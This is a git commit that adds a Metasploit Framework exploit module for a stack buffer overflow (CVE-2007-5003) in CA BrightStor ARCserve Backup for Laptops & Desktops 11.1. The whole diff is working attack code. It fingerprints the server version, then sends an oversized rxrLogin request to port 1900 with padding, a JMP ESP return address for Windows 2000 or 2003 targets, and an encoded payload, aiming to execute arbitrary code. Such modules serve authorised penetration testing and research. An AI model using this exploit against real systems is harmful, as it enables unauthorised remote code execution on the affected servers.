added exploit module lgserver_rxrlogin.rb

git-svn-id: file:///home/svn/framework3/trunk@5501 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/brightstor/lgserver_rxrlogin.rb

@@ -0,0 +1,94 @@
+##
+# $Id: lgserver_rxrlogin.rb
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Brightstor::Lgserver_rxrLogin < Msf::Exploit::Remote
+
+	include Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup
+				for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could 
+				overflow the buffer and execute arbitrary code.
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'BID', '24348' ],
+					[ 'CVE', '2007-5003' ],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 550,
+					'BadChars' => "\x00",
+					'StackAdjustment' => -3500,
+					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
+				},
+			'Platform' => 'win',
+			'Targets'  =>
+					[ 
+						[ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
+						[ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
+					],	
+			'DisclosureDate' => 'Jun 6 2007',
+			'DefaultTarget' => 0))
+
+			register_options([ Opt::RPORT(1900) ], self.class)	
+	end
+
+	def check
+		connect
+
+		sock.puts("0000000019rxrGetServerVersion")
+		ver = sock.get_once
+
+		if ( ver =~ /11.1.742/ )
+				return Exploit::CheckCode::Vulnerable
+		end
+		return Exploit::CheckCode::Safe
+
+		disconnect
+	end
+
+	def exploit
+		connect
+
+		buffer =  rand_text_alpha_upper(17420) + [target.ret].pack('V')
+		buffer << payload.encoded + rand_text_alpha_upper(300) 
+
+		sploit  = "0000018124" # Command Length Field
+		sploit << "rxrLogin"   # RPC Command
+		sploit <<  "~~"        # Constant Argument Delimiter
+		sploit <<  buffer      # Argument
+		
+		print_status("Trying target #{target.name}...")
+		# One-shot overwrite...
+		sock.puts(sploit)
+		
+		handler
+		disconnect
+	end
+
+end
+end